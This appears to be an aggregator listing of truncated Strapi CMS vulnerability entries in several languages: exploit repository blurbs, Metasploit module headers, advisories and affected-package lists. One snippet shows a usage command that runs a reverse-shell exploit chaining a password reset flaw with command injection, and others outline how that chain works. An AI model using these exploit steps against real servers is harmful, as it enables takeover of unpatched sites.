CVE-2019-19609

Strapi CMS 익스플로잇 이 익스플로잇은 Strapi CMS 프레임워크 버전 3.0.0-beta-17.4 의 두 가지 취약점을 대상으로 하여 인증되지 않은 원격 코드 실행RCE을 가능하게 합니다. 취약점 CVE-2019-18818 비밀번호 분실에 대한 취약한 비밀번호 복구 메커니즘 CVSS : 9.8 - 치명적 자세한 내용: https://nvd.nist.gov/vuln/detail/CVE-2019-18818 CVE-2019-19609 OS 명령어에 사용되는 특수 요소의 부적절한 처리 'OS 명령어 삽입' CVSS : 7...

strapi_cms_3.0.0-beta.17.7

Strapi CMS CVE-2019-18818 および 19606 Strapi CMS バージョン 3.0.0-beta.17.7 以前における Blind Remote Code Execution でリバースシェルを取得 はじめに プログラムの実行 python3 を使用 root@kitploit: python3 strapiexp.py -t http://strapi.hack/ -e [email protected] -p newpassword -lhost 127.0.0.1 -lport 9001 ヘルプ ヘルププロンプト root@kitploit...

CVE-2019-18818_CVE-2019-19609

CVE-2019-18818 および CVE-2019-19609 のエクスプロイト このリポジトリには、CVE-2019-18818 および CVE-2019-19609 の 2 つの脆弱性を悪用する Python スクリプトが含まれています。 CVE-2019-18818 この脆弱性により、攻撃者は Strapi CMS の管理者ユーザーのパスワードをリセットできます。 使用方法 1. スクリプト内の target 変数と strapiport 変数を、対象の Strapi インスタンスに合わせて変更します。 2. スクリプトを実行して、管理者パスワードをリセットします。...

Strapi-RCE

Strapi-RCE Strapi CMS에서 인증되지 않은 원격 코드 실행을 위해 CVE-2019-18818과 CVE-2019-19609를 결합한 익스플로잇 스크립트입니다. 익스플로잇 이 스크립트는 Strapi CMS 버전 3.0.0-beta.17.4 이하에서 발견된 취약점을 악용하여 인증되지 않은 원격 코드 실행을 가능하게 합니다. 설명 익스플로잇은 먼저 비밀번호 재설정 취약점을 이용해 관리 사용자의 JSON 웹 토큰JWT을 획득합니다. 그런 다음 이 토큰을 사용하여 악성 페이로드를 Strapi CMS에 전송하고, 공격자 머신...

📄 Strapi CMS 5.36.1 Account Takeover

This Metasploit module exploits a critical bypass vulnerability in Strapi CMS that allows unauthenticated attackers to take over the Super Admin account. ================================================================================================================================== | Title :...

Malicious Package

Overview strapi-plugin-config is a malicious package. This package contains malicious code that conceals a command-and-control agent and credential harvester. A malicious actor published a coordinated campaign of thirty-six packages disguised as community Strapi CMS plugins. These packages aren't...

@jhoward1994/strapi-plugin-ckeditor (>=0.0.1-rc1, <=0.0.1), @privatus/strapi (>=2.0.0, <=2.0.1) +3 more potentially affected by CVE-2024-56143 via @strapi/core (>=5.0.0, <=5.5.1)

@strapi/core NPM version =5.0.0, =0.0.1-rc1, =2.0.0, =5.0.0-alpha.0, =3.0.0-beta.1, =3.0.0-beta.2 Source cves: CVE-2024-56143 Source advisory: OSV:GHSA-495J-H493-42Q2...

@avorati/strapi-plugin-preview (1.0.1), @futurebrand/helpers-strapi (>=2.0.0, <=2.5.4) +5 more potentially affected by CVE-2025-3930 via @strapi/strapi (>=5.0.0-rc.10, <=5.16.1)

@strapi/strapi NPM version =5.0.0-rc.10, =2.0.0, =2.0.0, =3.0.0-beta.1, =3.0.0-beta.2 - stronges 0.1.1 - test-lead 0.1.0 Source cves: CVE-2025-3930 Source advisory: OSV:GHSA-4R8W-3JWW-M2RP...

The vulnerability of the Strapi content management system, related to the lack of protective measures for web pages, allows a hacker to execute arbitrary JavaScript code.

The vulnerability of the CMS Strapi content management platform, related to the lack of security measures for web pages. Exploiting this vulnerability allows a malicious actor to execute arbitrary JavaScript code by loading a specially crafted PDF file remotely...

Strapi < 4.8.0 Private Fields Sensitive Information Disclosure

Strapi is a popular open-source headless Content Management System CMS written in Node.js. Strapi versions before 4.8.0 suffer from an information disclosure vulnerability through collections private fields. By manipulating public collections query filters, a remote and unauthenticated attacker c...

CVE-2023-39345 Unauthorized Access to Private Fields in User Registration API in strapi

strapi is an open-source headless CMS. Versions prior to 4.13.1 did not properly restrict write access to fielded marked as private in the user registration endpoint. As such malicious users may be able to errantly modify their user records. This issue has been addressed in version 4.13.1. Users...

@antgineering-studio/strapi (4.5.5), @beardeddudes/strapi-types (0.1.0) +111 more potentially affected by CVE-2023-36472 via @strapi/utils (>=4.0.0, <=4.11.6)

@strapi/utils NPM version =4.0.0, =4.11.3, =4.11.2, =1.0.0, =1.5.1 - @codeparticle/strapi 4.9.2 - @codeparticle/strapi-admin 4.9.2 - @codeparticle/strapi-data-transfer 4.9.2 - @codeparticle/strapi-database 4.9.2 - @codeparticle/strapi-generators 4.9.2 - @codeparticle/strapi-permissions 4.9.2 -...

Design/Logic Flaw

Strapi is an open-source headless content management system. Prior to version 4.10.8, it is possible to leak private fields if one is using the tnumber prefix. Knex query allows users to change the default prefix. For example, if someone changes the prefix to be the same as it was before or to...

Strapi 跨站脚本漏洞

Strapi is an open source content management system CMS. Strapi suffers from a cross-site scripting vulnerability that stems from insufficient filtering of user-supplied data in the file upload function, which can be exploited by remote attackers to inject and execute arbitrary HTML and script cod...

Strapi CMS Unauthenticated Password Reset

This module abuses the mishandling of a password reset request for Strapi CMS version 3.0.0-beta.17.4 to change the password of the admin user. Successfully tested against Strapi CMS version 3.0.0-beta.17.4. Module Options msf use auxiliary/scanner/http/strapi/3passwordreset msf...

Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) Exploit

This module requires Metasploit: http://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class MetasploitModule "Strapi CMS 3.0.0-beta.17.4 - Set Password Unauthenticated Metasploit", 'Description' = %q This exploit module abuses the...

Strapi CMS 3.0.0-beta.17.4 Privilege Escalation

This module requires Metasploit: http://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class MetasploitModule "Strapi CMS 3.0.0-beta.17.4 - Set Password Unauthenticated Metasploit", 'Description' = %q This exploit module abuses the...

Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit)

This module requires Metasploit: http://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class MetasploitModule "Strapi CMS 3.0.0-beta.17.4 - Set Password Unauthenticated Metasploit", 'Description' = %q This exploit module abuses the...

Strapi CMS 3.0.0-beta.17.4 Remote Code Execution

Exploit Title: Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution RCE Unauthenticated Date: 2021-08-30 Exploit Author: Musyoka Ian Vendor Homepage: https://strapi.io/ Software Link: https://strapi.io/ Version: Strapi CMS version 3.0.0-beta.17.4 or lower Tested on: Ubuntu 20.04 CVE : CVE-2019-1881...

Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (Unauthenticated) Exploit

Exploit Title: Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution RCE Unauthenticated Exploit Author: Musyoka Ian Vendor Homepage: https://strapi.io/ Software Link: https://strapi.io/ Version: Strapi CMS version 3.0.0-beta.17.4 or lower Tested on: Ubuntu 20.04 CVE : CVE-2019-18818, CVE-2019-19609...